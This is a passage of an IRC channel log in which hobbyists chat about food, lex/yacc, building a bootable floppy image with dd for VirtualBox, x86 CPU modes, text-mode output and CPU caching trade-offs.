:pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :http://sprunge.us/AjPf Unrelatedly, Lex is "clearly" the best way of producing compilers. < 1393718530 862162 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So I don't think I'm going to be tempted to eat this frequently < 1393718534 133281 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :As evidenced by this trivial case. < 1393718541 508073 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is pizza mounds of salt? < 1393718549 846511 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If this isn't filling I may just go for pizza < 1393718555 932935 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Depends on the pizza. < 1393718560 352188 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :pikhq: nice < 1393718561 2948 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Plain cheese pizza < 1393718582 370769 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Also I had a footlong Subway earlier, and two Lucky Charms bars < 1393718611 223975 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :You worry about your nutrition a lot for someone who seems to eat random thingsw. < 1393718634 390891 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :pikhq: Couldn't the ignore regex just be a "."? < 1393718656 131819 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :golly, it even optimizes < 1393718657 141104 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(For two matches of same length, the rule listed first is chosen.) < 1393718665 668817 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :fizzie: Quite likely. < 1393718687 690362 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's very possibly more efficient when it chomps more in one go, though. < 1393718689 155985 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :This resulted from me sitting down and realizing I had literally done nothing with lex or yacc before. < 1393718739 186844 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/ABVC heh < 1393718760 602316 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :pikhq: there's less salt in a packet of crisps (potato chips) than there is in a slice of bread < 1393718764 868246 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which is kind-of shocking, really < 1393718797 629555 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ais523: Might be true of UK crisps, but... < 1393718820 626470 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Though, US bread probably uses about as much salt and sugar as flour, so. :P < 1393719140 26468 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393719239 622160 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why do lactaid chewable pills taste so good? < 1393719261 382014 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :What about Flintstone vitamins < 1393719282 769257 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what about rocks i've painted pictures of tigers onto < 1393719313 786005 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393719559 87818 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I hear they keep tigers away < 1393719597 985870 :nooodl!~nooodl@91.177.108.54 PART #esoteric :"Leaving" < 1393719643 167305 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if there exist devices that let me pretend to have a second monitor < 1393719652 783090 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Cardboard box < 1393719681 230557 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Plug into VGA and USB, and it will somehow let you switch between "screens" with keypresses < 1393719811 306373 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sounds more like a job for a piece of software. < 1393719824 637610 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was about to say, googled it and found some software results < 1393720153 532935 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :This stuff is kind of soupy < 1393720160 334413 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't like soup, maybe I should learn to liek it < 1393720419 123339 :nooodl!~nooodl@91.177.108.54 JOIN :#esoteric < 1393720517 833620 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Why are macros called macros < 1393720531 644978 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Because they are biiiig < 1393720581 143303 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Blargh, transferring things from the VM to the computer is not fun < 1393720633 111302 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :"FATAL: No bootable medium found! System halted." < 1393720641 559047 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well apparently I didn't do it that well < 1393720647 381890 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Taneb: something about mapping short input sequences to longer ones? < 1393720657 658690 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :lexande, seems likely < 1393720689 446363 :JZTech101!~JZTech101@botters/jztech101 QUIT :Remote host closed the connection < 1393720733 403139 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :still better than macrophotography < 1393721356 433055 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Dang, that bootloader thing still doesn't work. < 1393721456 879349 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :If the 4 bytes at 0x158 are 00 00 20 00, does that mean that the boot starts at 0x200000? < 1393721460 318641 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Or 0x2000 < 1393721701 521451 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In x86, assuming little-endian (so 00 00 20 00 for 0x00200000) is usually the safer bet. < 1393721719 623141 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm < 1393721722 981617 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Not sure what kind of boot loader that is. It's clearly not a regular BIOS-compatible boot sector.) < 1393721735 516617 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Damn < 1393721739 789148 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm, what to do < 1393721745 491121 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's try one from the osdev people < 1393721850 872466 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ugh still hungry < 1393721862 145900 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :After having a ball of salt (not a literal ball of salt0 < 1393721932 70409 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Try a literal ball of salt. < 1393721940 153168 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Google seems to suggest that "4 bytes at 0x158" refers to VirtualBox disk image format, which sounds not all that terribly relevant for simple bootloader things, since you can use raw floppy images with VirtualBox. < 1393722006 971050 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I am just following this dude's tutorial, though < 1393722016 272249 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :On virtual box indeed < 1393722045 982479 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess I could make some fake floppies though < 1393722201 530634 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :As for transferring things between the VM to the computer, VirtualBox's "shared folders" are quite okay. < 1393722215 102663 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I couldn't make it work so far though < 1393722221 154865 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :i don't know how to access it inside the VM < 1393722341 205414 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"In a Linux guest, use the following command: mount -t vboxsf [-o OPTIONS] sharename mountpoint". I think it worked pretty much out-of-the-box after installing the guest additions. Though this was a while ago. < 1393722362 717314 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Just plain ssh daemon in the guest and winscp or something in the host is reasonable too.) < 1393722524 561080 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have idea of a computer game, that you would fly from the center of Pluto to the center of the Earth, without crashing into any Gas Giant planets. Such thing as software library to calculate rotations of Mars and Pluto would be needed; the program "Swiss Ephemeris" can already calculate rotations of Earth. < 1393722605 800835 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It can make up a real date, perhaps even a date in the future (although the present date or a date in the past works too; ephemeris data can calculate for far past and far future), and figure out what date would result in a better (most interesting/challenging) game, since that would affect position of planets. < 1393722806 124990 :Tritonio!~Thunderbi@77.49.58.38.dsl.dyn.forthnet.gr JOIN :#esoteric < 1393722828 60885 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you like this? < 1393722969 430210 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that sounds boring to play, but people play Eve, so < 1393722994 106971 :impomatic!~chatzilla@37.152.198.84 QUIT :Quit: ChatZilla 0.9.90.1 [Firefox 27.0.1/20140212131424] < 1393723000 887446 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :People play Desert Bus. < 1393723003 65738 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1393723004 138213 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Probably it does, but it would be made more interesting by various ways < 1393723017 456611 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But you are correct in general < 1393723025 350784 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But I didn't write all about it of course! < 1393723042 531857 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Since it would take a long time, you could use warp drives and magical spells and so on to help < 1393723052 157439 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But it would complicate with a lot more things too. < 1393723065 963464 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Such as, going through space isn't the entire game < 1393723084 941998 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Since the surface and inside of planets is also important < 1393723094 391822 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Welp putting it on a floppy didn't help < 1393723105 413132 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's investigate this loading of boot more closely < 1393723122 983480 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Slereah__: What operating system are you using? < 1393723151 728396 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393723162 930618 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess the answer would be "none"? < 1393723171 96181 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :The virtual machine is on the windows though < 1393723187 31482 :JZTech101!jztech101@botters/jztech101 JOIN :#esoteric < 1393723196 461207 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What kind of file system is it? < 1393723252 861174 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :i was trying to follow this tutorial : http://www.dreamincode.net/forums/blog/150/entry-2999-using-virtualbox-as-a-bootloader-testing-environment/ < 1393723257 750296 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :But it did not work out so great < 1393723279 864904 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh wait, you were there no? < 1393723356 80904 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Copy-pasting a boot sector into a .vdi file with a hex editor seems like a really circuitous way, compared to the conventional floppy approach. < 1393723379 297082 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I tried with a floppy, but I guess it's not a very good idea to use that bootloader for it < 1393723387 190086 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :So I'm looking at the osdev wiki < 1393723401 565283 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What exactly are you trying to copy? < 1393723403 354807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The bootloader should be just fine for a floppy, since it just prints a string and hangs. < 1393723439 839930 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I put the binary of said bootloader on a floppy and then booted up < 1393723461 236474 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :But it just tells me "No systemdisk. Booting from harddisk." < 1393723468 367734 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :And "Cannot load from harddisk" < 1393723484 392216 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't know/remember what VirtualBox expects from a floppy image; possibly it wants a floppy-sized file with that at the beginning. < 1393723491 527442 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Although < 1393723522 83472 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :It does also say "Disk formatted with MagicISO 4.70 (c) 2001-04 MagicISO, Inc." < 1393723522 847620 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is possible to copy disk images on Windows by using the "DefineDosDevice" API. < 1393723524 81524 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Not that I know how you made the floppy image, and how you stuck the boot sector binary in either.) < 1393723535 23625 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :So the problem might be that MagicISO added a bunch of stuff < 1393723561 873570 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Did you just copy the binary as a file on the floppy? < 1393723570 111552 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Yeah that's probably not a good idea < 1393723571 552491 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm < 1393723580 363047 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :It's always something < 1393723584 283372 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, no. It needs to be the first sector on the floppy. < 1393723605 139273 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I suppose it might be "load boot image" < 1393723722 338226 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I wouldn't know anything about MagicISO; I've usually just used dd. Quick googling suggests that the "load boot image" might be inteded for making bootable CDs (with boot floppy images), but who knows. < 1393723778 933375 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :dd? < 1393723797 271697 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's a command-line tool for copying bytes. < 1393723860 572200 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Slereah__: you can understand why having a filesystem isn't good here, right? < 1393723877 135423 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :that is not a frequent feeling but I wish I had a floppy drive right now < 1393723883 971127 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Yep < 1393723890 196847 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It'd be dd if=/dev/zero of=floppy.img bs=1024 count=1440; dd if=boot.bin of=floppy.img conv=notrunc in a Linux system to make a floppy-sized image of zeros, and then put boot.bin in front. < 1393723908 789658 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well let's give it a try! < 1393723918 506238 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Or any out of a number of alternative ways, of course.) < 1393723931 706363 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393723944 536864 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this reminds me that i should probably understand uefi better than i do < 1393724002 952503 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well there is most certainly a file now < 1393724013 83689 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(cat boot.bin; dd if=/dev/zero bs=512 count=2879) > floppy.img # another reasonable way < 1393724023 485663 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Isn't there supposed to be more things other than the program and 0's for a virtual floppy? < 1393724052 92488 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If you want to put something on the floppy, sure, but there doesn't need to. < 1393724070 420866 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I mean, aren't there data around the file? < 1393724084 741217 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :to tell the computer "hey that's a virtual floppy file" < 1393724101 459321 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There can be, but I'm reasonably sure VirtualBox doesn't mind raw images. < 1393724132 507458 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I'll find out soon enough! < 1393724156 411623 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: It's kind of boring, to have an actual executable file format for things you can run at boot. < 1393724185 711414 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :heh well, i liked it more than a bios when setting up this computer < 1393724198 484624 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(A variant of PE, even.) < 1393724212 747041 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the large number of efi variables was more interesting to me, though < 1393724240 316651 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bah; OpenBoot is where it's at. < 1393724250 621136 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's not even a Forth interpreter in the UEFI standard. < 1393724262 244892 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Open Firmware may be accessed through its Forth language shell interface" i see your point < 1393724298 262154 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Having a Forth interpreter built-in to the BIOS is a good idea. < 1393724320 109293 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think I tried out a Fibonacci or some other such standard simple test program in the boot prompt of my SparcStation. < 1393724327 892459 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :It works! < 1393724332 648446 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Now nothing can stop meeeee < 1393724388 325019 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Now you can start figuring out how to go from real mode to 64-bit mode. < 1393724398 582002 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :One thing at a time man! < 1393724428 653066 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sure, but you did say you want to do x86-64. < 1393724441 840286 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Sure, but gotta learn to walk before I can run < 1393724445 668189 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Is real mode in x64 the same as the old timey real mode? < 1393724456 766164 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :That is, can I use the extra registers < 1393724459 709742 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Or will it not work < 1393724493 873903 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can't use the extra registers. There's no way to encode them in the opcode. < 1393724516 375907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Since the prefix bytes used for that are repurposed actual instructions. < 1393724524 33661 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I see < 1393724542 143108 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can use the 32-bit wide registers in real mode, though. < 1393724547 335684 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :do you still have access to the interrupts in long mode by the way? < 1393724593 847459 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :BIOS services? No, I think those pretty much all go out of the window when you ascend to protected mode. Which you will need to do before switching to long mode. < 1393724606 726919 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :I see < 1393724668 744607 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Is there an equivalent of interrupts? < 1393724674 368184 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Or do you have to do it all yourself < 1393724707 18004 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Incidentally, a slightly less painful way to write bare-metal code (compared to a 512-byte bootloader that loads more code and does mode switching) can be to write what you want to run in the form of a multiboot-compatible image (which doesn't have so many size restrictions), and have something like GRUB load that. < 1393724864 840757 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Like how would you go about to print a letter in protected mode < 1393724873 861421 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :They almost always worsen the PC design instead of making improvements. The original PC design was fine, and had a better keyboard too (although it is loud, it works better in general) < 1393724893 507782 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Other than loading the sprite of the letter to the memory of the VGA < 1393724914 711546 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should switch it to text mode and write to the corresponding tile address, if that still works. < 1393724935 873118 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1393724939 536303 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can also just not switch away from text mode. < 1393724966 689029 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(But you would write into the video memory, and have to track e.g. cursor position manually.) < 1393724991 636467 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :But how can I use the text mode without interrupts, is what I'm asking < 1393725020 435695 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :http://courses.engr.illinois.edu/ECE390/books/labmanual/realprot-diff-interrupts.html < 1393725022 488974 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah, I see < 1393725024 594388 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't think you need interrupts to use the text mode. < 1393725035 889403 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Don't I? < 1393725042 57550 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :No. < 1393725053 764469 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You just need to write into the proper memory address. < 1393725054 996599 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Usually I load the letter into ax and then call an interrupt for such a thing < 1393725064 630984 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh, I see < 1393725077 567885 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can read/write it even during rendering and at any time, and even execute code from video memory, unlike the Famicom. < 1393725128 200919 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The link you provided is specific to code running under DOS, with a DPMI host available, for the record. < 1393725196 508422 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Now what to do with all that power < 1393725217 707579 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Maybe I should just paste my pong program in there, see if it works! < 1393725541 764873 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :What does jmp $ mean by the way < 1393725552 896291 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Is $ just a reference to the beginning of the program? < 1393725557 730558 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The same as "foo: jmp foo". < 1393725564 546922 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :$ is the current position in NASM. < 1393725571 971091 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh < 1393725608 515204 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's just "stop here", basically.) < 1393725613 524666 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PART :#esoteric < 1393725640 717944 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :do processors optimize a jump-to-self into a halt? < 1393725791 535014 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Hey, has anyone seen 3d-modeled objects that cast weird shadows? < 1393725793 277274 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think they do. Are the semantics not slightly different? (In terms of the jump instruction being modified by a DMA transfer or whatnot.) < 1393725800 898645 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Like, I remember a cube that casts an "A" in one direction, a "B" in another... < 1393725825 60437 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That sounds familiar. < 1393725870 410076 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: Hofstadter's book "Godel, Escher, Bach" has picture of a object that casts shadow "G", "E", "B" in different directions. < 1393725880 751508 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: http://www.shapeways.com/blog/archives/554-3d-printed-shadow-cloud.html is kind of like that. < 1393725886 254713 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :zzo38: oh shit, i totally forgot! < 1393725911 427270 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: If you do it, it is wrong, depending on what the memory that it is executing from is mapped to. < 1393725927 472353 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :thanks < 1393725928 478700 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It might trigger on reads or writes, or have bank switching. < 1393725929 263544 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It seems to refer the GEB thing in the description.) < 1393725949 932407 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: the processor needs to know about that nowadays, though, because modern processors do their own caching < 1393726041 560243 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Implicit caching is a bad idea, though. < 1393726109 935411 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: perhaps, but it's necessary for modern computers to run at the speed they do, because most programs don't contain explicit cache control commands, and the processor is much faster than the memory it accesses < 1393726144 629167 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Yes, but it is a bad idea to design computers like that. < 1393726161 846963 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :why? < 1393726181 825127 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It overcomplicates and confuses too many things, and makes it unpredictable. < 1393726192 380179 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm < 1393726192 814181 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1393726204 57794 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess there's a constant supply of tradeoffs between complexity and speed < 1393726219 314422 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :doing optimizations in one place (like caching) may cause optimizations in other places (like self-modifying programs) to fail < 1393726248 496328 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :You can unroll all your fucking loops~ < 1393726251 151140 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1393726255 430932 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :It's gonna be pretty fast < 1393726262 681660 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1393726281 356801 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Better would be to run it at a slow speed (also saving power!) until the instruction is told to load into cache/microcode RAM, and then switch to it at a faster speed, which would make it faster than the memory, and can then access instruction and data simultaneously. < 1393726293 373868 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :loop unrolling often slows a system down nowadays, because you can fit less program in the cache if it's unrolled < 1393726303 243930 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and correctly predicted jumps are pretty fast < 1393726311 314828 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although I imagine it still often speeds things up < 1393726324 332792 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: And that is a part of the bad idea too. It causes such problems. < 1393726348 608837 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: GPUs do something like you suggested with respect to memory accesses < 1393726378 453499 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :they load into block memory (sort of like a cache) explicitly, and while waiting for the memory to load, the GPU's used to run other blocks instead < 1393726384 140014 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so the memory access and the code run entirely in parallel < 1393726759 725980 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, that would work well < 1393726800 554245 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1393727269 387739 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1393727293 573037 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :hah < 1393727373 256324 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :however, GPUs /also/ have implicitly managed caches, like CPUs do < 1393727380 506006 :ais523!~ais523@unaffiliated/ais523 